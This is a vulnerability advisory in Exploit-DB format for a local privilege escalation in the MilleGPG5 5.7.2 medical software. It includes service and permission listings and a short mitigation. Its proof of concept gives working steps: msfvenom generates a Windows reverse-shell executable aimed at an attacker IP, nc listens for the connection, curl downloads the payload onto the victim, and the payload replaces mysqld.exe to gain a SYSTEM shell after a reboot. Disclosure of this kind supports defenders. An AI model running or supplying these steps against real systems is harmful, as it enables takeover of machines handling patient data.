MilleGPG5 5.7.2 Luglio 2021 (x64) - Local Privilege Escalation

vendor:

MilleGPG5

by:

Alessandro 'mindsflee' Salzano

7.5

CVSS

HIGH

Local Privilege Escalation

284

CWE

Product Name: MilleGPG5

Affected Version From: 5.7.2002

Affected Version To: 5.7.2002

Patch Exists: NO

Related CWE:

CPE: millegpg:millegpg5:5.7.2

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 10 Enterprise x64

2021

MilleGPG5 5.7.2 Luglio 2021 (x64) – Local Privilege Escalation

By default, the Authenticated Users group has the modify permission to MilleGPG5 folders/files. A low privilege account can rename the mysqld.exe file located in the bin folder and replace it with a malicious file that would connect back to an attacking computer, giving system level privileges (nt authoritysystem) due to the service running as Local System. While a low privilege user is unable to restart the service through the application, a restart of the computer triggers the execution of the malicious file.

Mitigation:

Remove modify permissions for the Authenticated Users group on MilleGPG5 folders/files. Ensure that only trusted users have modify access.

Source

Exploit-DB raw data:

# Exploit Title: MilleGPG5 5.7.2 Luglio 2021 (x64) - Local Privilege Escalation
# Date: 2021-07-19
# Author: Alessandro 'mindsflee' Salzano
# Vendor Homepage: https://millegpg.it/
# Software Homepage: https://millegpg.it/
# Software Link: https://www.millegpg.it/download/MilleGPGInstall.exe
# Version: 5.7.2
# Tested on: Microsoft Windows 10 Enterprise x64

MilleGPG5 is a Class 1 Medical Device registered with "Ministero della Salute".

Vendor: Millennium S.r.l. / Dedalus Group / Dedalus Italia S.p.a.

Affected version: MilleGPG5 5.7.2

# Details
# By default the Authenticated Users group has the modify permission to MilleGPG5 folders/files as shown below.
# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing these services:

C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe
C:\Program Files\MilleGPG5\GPGService.exe


    Details:


SERVICE_NAME: MariaDB-GPG
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program
Files\MilleGPG5\MariaDB\bin\mysqld.exe" MariaDB-GPG
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MariaDB-GPG
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

------

SERVICE_NAME: GPGOrchestrator
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\MilleGPG5\GPGService.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : GPG Orchestrator
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

(2) Folder permissions.
Insecure folders permissions issue:


C:\Program Files\MilleGPG5\MariaDB\bin BUILTIN\Users:(I)(OI)(CI)(F)
                                       NT SERVICE\TrustedInstaller:(I)(F)
                                       NT
SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                       NT AUTHORITY\SYSTEM:(I)(F)
                                       NT
AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                       CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                       APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                       APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                       APPLICATION PACKAGE
AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                       APPLICATION PACKAGE
AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                ...[SNIP]...
---------------

C:\Program Files\MilleGPG5 BUILTIN\Users:(OI)(CI)(F)
                           NT SERVICE\TrustedInstaller:(I)(F)
                           NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                           NT AUTHORITY\SYSTEM:(I)(F)
                           NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                           BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                           BUILTIN\Users:(I)(RX)
                           BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                           CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                           APPLICATION PACKAGE AUTHORITY\ALL
APPLICATION PACKAGES:(I)(RX)
                           APPLICATION PACKAGE AUTHORITY\ALL
APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
APPLICATION PACKAGES:(I)(RX)
                           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)


                                # Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start

3. Download malicious .exe on victim machine
    type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Program Files\MilleGPG5\MariaDB\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
    Renename C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe > mysqld.bak
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system